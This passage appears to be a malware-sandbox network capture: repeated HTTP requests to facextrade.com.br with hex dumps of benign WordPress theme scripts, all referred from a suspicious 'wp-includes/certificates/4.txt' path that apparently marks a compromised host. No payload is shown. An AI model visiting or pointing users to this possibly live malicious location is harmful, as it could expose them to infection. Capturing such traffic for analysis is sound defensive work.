s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);
Aug 16, 2022 11:06:10.321958065 CEST	3682	OUT	GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.538033009 CEST	3688	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:32 GMT Server: Apache ETag: "a4f8b0-2f7e-58592c72eb640" Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT Content-Length: 12158 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437436 16636772 Age: 38 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 20 20 20 0a 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 20 3d 20 24 28 27 73 65 63 74 69 6f 6e 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 28 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 20 20 20 20 20 20 20 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 57 69 64 74 68 20 3d 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 48 65 69 67 68 74 20 3d 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 65 56 65 72 73 69 6f 6e 20 3d 20 67 65 74 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 56 65 72 73 69 6f 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 65 56 65 72 73 69 6f 6e 20 21 3d 2d 31 20 26 26 20 69 65 56 65 72 73 69 6f 6e 20 3c 20 39 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 09 09 7d 65 6c 73 65 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 09 09 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 6f 62 6a 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 62 6a 5f 62 67 20 3d 20 6f 62 6a 2e 66 69 6e 64 28 27 2e 70 61 72 61 Data Ascii: jQuery(document).ready(function($){ parallax_box = $('section.parallax-box'); if(parallax_box.length > 0){ ParallaxBox(); } function ParallaxBox() { var windowSelector = $(window), documentSelector = $(document), documentWidth = documentSelector.width(), windowHeight = windowSelector.outerHeight(), liteMode = false, ieVersion = getInternetExplorerVersion(); var ds = document.documentElement; if(!device.mobile() && !device.tablet()){liteMode = false; if (ieVersion !=-1 && ieVersion < 9){ liteMode = true; }}else{liteMode = true;} parallax_box.each(function() { parallaxBox($(this)); }); function parallaxBox(obj){ var obj_bg = obj.find('.para
Aug 16, 2022 11:06:10.545834064 CEST	3700	OUT	GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.762196064 CEST	3718	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:33 GMT Server: Apache ETag: "a53a52-14d5-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 5333 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437437 16636776 Age: 37 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 76 61 72 0a 09 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 0a 09 3b 0a 0a 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 72 65 73 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 32 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 63 6f 6e 74 61 69 6e 65 72 31 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 22 29 3b 0a 0a 09 6a 51 75 65 72 79 28 27 2e 63 68 65 72 72 79 5f 6d 65 64 69 61 5f 70 61 72 61 6c 6c 61 78 5f 31 27 29 2e 66 61 64 65 54 6f 28 30 2c 20 30 29 3b 0a 09 0a 7d 29 0a 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 0a 09 09 6d 65 6e 75 57 72 61 70 20 3d 20 24 28 27 2e 68 65 61 64 65 72 20 2e 6d 65 6e 75 5f 77 72 61 70 27 29 0a 09 2c 09 6f 66 66 73 65 74 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 6f 66 66 73 65 74 56 61 6c 75 65 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 2c 09 63 75 72 72 48 61 73 68 20 3d 20 27 27 0a 09 2c 09 69 73 41 6e 69 6d 20 3d 20 66 61 6c 73 65 0a 09 2c 09 69 73 48 6f 6d 65 50 61 67 65 20 3d 20 24 28 27 62 6f 64 79 27 29 2e 68 61 73 43 6c 61 73 73 28 27 68 6f 6d 65 27 29 3f 20 74 72 75 65 3a 66 61 6c 73 65 0a 09 3b 0a 09 0a 09 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 4d 65 6e 75 20 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 24 28 27 23 74 6f 70 6e 61 76 20 3e 20 6c 69 27 2c 20 6d 65 6e 75 57 72 61 70 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 27 29 29 7b 0a 09 09 09 76 Data Ascii: jQuery(document).ready(function(){varwindowSelector = jQuery(window);windowSelector.resize(function(){jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });}).trigger("resize");jQuery('.cherry_media_parallax_1').fadeTo(0, 0);})$(function() {varmenuWrap = $('.header .menu_wrap'),offsetArray = [],offsetValueArray = [],_document = $(document),currHash = '',isAnim = false,isHomePage = $('body').hasClass('home')? true:false;//--------------------------- Menu navigation ---------------------------$('#topnav > li', menuWrap).each(function(){if($(this).hasClass('menu-item-type-custom')){v
Aug 16, 2022 11:06:10.767604113 CEST	3723	OUT	GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:10.988399982 CEST	3746	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:34 GMT Server: Apache ETag: "a53a5c-5e2-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 1506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437438 16636780 Age: 36 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 24 2e 66 6e 2e 73 63 72 6f 6c 6c 53 68 6f 77 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 0a 20 20 20 20 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 72 72 65 63 74 69 6f 6e 59 3a 20 31 30 30 0a 20 20 20 20 2c 20 20 20 6f 6e 53 68 6f 77 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 0a 20 20 20 20 7d 0a 20 20 20 20 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 2c 20 6f 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 74 6f 70 4f 66 66 73 65 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 76 69 73 69 62 6c 65 3d 66 61 6c 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 77 69 6e 3d 24 28 77 69 6e 64 6f 77 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 64 6f 63 3d 24 28 64 6f 63 75 6d 65 6e 74 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 74 68 69 73 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 65 5f 73 74 61 74 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2f 2f 65 6e 64 20 69 6e 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 4f 66 66 73 65 74 20 3d 20 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 4c 69 73 74 65 6e 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2e 74 72 69 67 67 65 72 28 27 73 63 72 6f 6c 6c 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 72 65 73 69 7a 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 Data Ascii: (function($){ $.fn.scrollShowTime=function(o){ var getOption = { correctionY: 100 , onShow: function(){} } $.extend(getOption, o); return this.each(function(){ var _this = $(this) ,topOffset ,windowHeight ,_visible=false ,_win=$(window) ,_doc=$(document) ; init(); function init(){ setTopOffset(); _this.addClass('hide_state'); addEventHandler(); }//end init function setTopOffset(){ topOffset = _this.offset().top; } function addEventHandler(){ $(window).on('scroll',function(){ setTopOffset(); positionListener(); }).trigger('scroll'); $(window).on('resize', function(){
Aug 16, 2022 11:06:10.990430117 CEST	3747	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:11.210604906 CEST	3752	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:35 GMT Server: Apache ETag: "a53545-81a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 2074 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437439 16636784 Age: 36 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 6a 51 75 65 72 79 20 4d 6f 62 69 6c 65 20 4d 65 6e 75 0a 20 2a 20 54 75 72 6e 20 75 6e 6f 72 64 65 72 65 64 20 6c 69 73 74 20 6d 65 6e 75 20 69 6e 74 6f 20 64 72 6f 70 64 6f 77 6e 20 73 65 6c 65 63 74 20 6d 65 6e 75 0a 20 2a 20 76 65 72 73 69 6f 6e 20 31 2e 30 28 33 31 2d 4f 43 54 2d 32 30 31 31 29 0a 20 2a 0a 20 2a 20 42 75 69 6c 74 20 6f 6e 20 74 6f 70 20 6f 66 20 74 68 65 20 6a 51 75 65 72 79 20 6c 69 62 72 61 72 79 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 44 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 61 6d 62 6f 77 73 2f 6d 6f 62 69 6c 65 6d 65 6e 75 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 6d 6f 62 69 6c 65 4d 65 6e 75 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 09 09 09 09 64 65 66 61 75 6c 74 54 65 78 74 3a 20 27 4e 61 76 69 67 61 74 65 20 74 6f 2e 2e 2e 27 2c 0a 09 09 09 09 63 6c 61 73 73 4e 61 6d 65 3a 20 27 73 65 6c 65 63 74 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 43 6c 61 73 73 3a 20 27 73 75 62 2d 6d 65 6e 75 27 2c 0a 09 09 09 09 73 75 62 4d 65 6e 75 44 61 73 68 3a 20 27 26 6e 64 61 73 68 3b 27 0a 09 09 09 09 7d 2c 0a 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 20 64 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 20 29 2c 0a 09 09 09 65 6c 20 3d 20 24 28 74 68 69 73 29 3b 0a 0a 09 09 24 28 22 68 65 61 64 22 29 2e 61 70 70 65 6e 64 28 27 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 40 6d 65 64 69 61 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 73 66 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 20 2e 73 65 6c 65 63 74 2d 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 7d 7d 3c 2f 73 74 79 6c 65 3e 27 29 0a 0a 09 09 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 2f 2f 20 61 64 20 63 6c 61 73 73 20 74 6f 20 73 75 62 6d 65 6e 75 20 6c 69 73 74 0a 09 09 09 65 6c 2e 66 69 6e 64 28 27 75 6c 27 29 2e 61 64 64 43 6c 61 73 73 28 73 65 74 74 69 6e 67 73 2e 73 75 62 4d 65 6e 75 43 6c 61 73 73 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 62 61 73 65 20 6d 65 6e 75 0a 09 09 09 24 28 27 3c 73 65 6c 65 63 74 20 2f 3e 27 2c 7b 27 63 6c 61 73 73 27 3a 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 7d 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 65 6c 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 64 65 66 61 75 6c 74 20 6f 70 74 69 6f 6e 0a 09 09 09 24 28 27 3c 6f 70 74 69 6f 6e 20 2f 3e 27 2c 20 7b 22 76 61 6c 75 65 22 3a 27 23 27 2c 20 22 74 65 78 74 22 3a 73 65 74 74 69 6e 67 73 2e 64 65 66 61 75 6c 74 54 65 78 74 7d 29 2e 61 70 70 65 6e 64 54 6f 28 20 27 2e 27 20 2b 20 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 4e 61 6d 65 20 29 3b 0a 0a 09 09 09 2f 2f 20 43 72 65 61 74 65 20 73 Data Ascii: /** * jQuery Mobile Menu * Turn unordered list menu into dropdown select menu * version 1.0(31-OCT-2011) * * Built on top of the jQuery library * http://jquery.com * * Documentation * http://github.com/mambows/mobilemenu */(function($){$.fn.mobileMenu = function(options) {var defaults = {defaultText: 'Navigate to...',className: 'select-menu',subMenuClass: 'sub-menu',subMenuDash: '–'},settings = $.extend( defaults, options ),el = $(this);$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')this.each(function(){// ad class to submenu listel.find('ul').addClass(settings.subMenuClass);// Create base menu$('<select />',{'class':settings.className}).insertAfter(el);// Create default option$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );// Create s
Aug 16, 2022 11:06:11.215636015 CEST	3754	OUT	GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:11.434746027 CEST	3777	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:36 GMT Server: Apache ETag: "a534c0-228c-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 8844 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437440 16636788 Age: 35 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 50 6c 61 79 6c 69 73 74 20 4f 62 6a 65 63 74 20 66 6f 72 20 74 68 65 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 33 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 2e 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 63 6f 70 79 6c 65 66 74 2f 67 70 6c 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 33 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 30 74 68 20 41 70 72 69 6c 20 32 30 31 33 0a 20 2a 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 0a 20 2a 20 20 2d 20 6a 51 75 65 72 79 20 31 2e 37 2e 30 2b 0a 20 2a 20 20 2d 20 6a 50 6c 61 79 65 72 20 32 2e 33 2e 30 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 6a 50 6c 61 79 65 72 50 6c 61 79 6c 69 73 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 3b 74 68 69 73 2e 72 65 6d 6f 76 69 6e 67 3d 74 68 69 73 2e 73 68 75 66 66 6c 65 64 3d 74 68 69 73 2e 6c 6f 6f 70 3d 21 31 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 3d 62 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 68 69 73 2e 5f 63 73 73 53 65 6c 65 63 74 6f 72 2c 61 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 6b 65 79 42 69 6e 64 69 6e 67 73 3a 7b 6e 65 78 74 3a 7b 6b 65 79 3a 33 39 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 6e 65 78 74 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 3a 7b 6b 65 79 3a 33 37 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 72 65 76 69 6f 75 73 28 29 7d 7d 7d 7d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 64 29 3b 74 68 69 73 2e 70 6c 61 79 6c 69 73 74 3d 5b 5d 3b 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 3d 5b 5d 3b 74 68 69 73 2e 5f 69 6e 69 74 50 6c 61 79 6c 69 73 74 28 63 29 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 74 69 74 6c 65 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 74 69 74 6c 65 22 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 70 6c 61 79 6c 69 73 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 70 6c 61 79 6c 69 73 74 22 3b 0a 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 6e 65 78 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 Data Ascii: /* * Playlist Object for 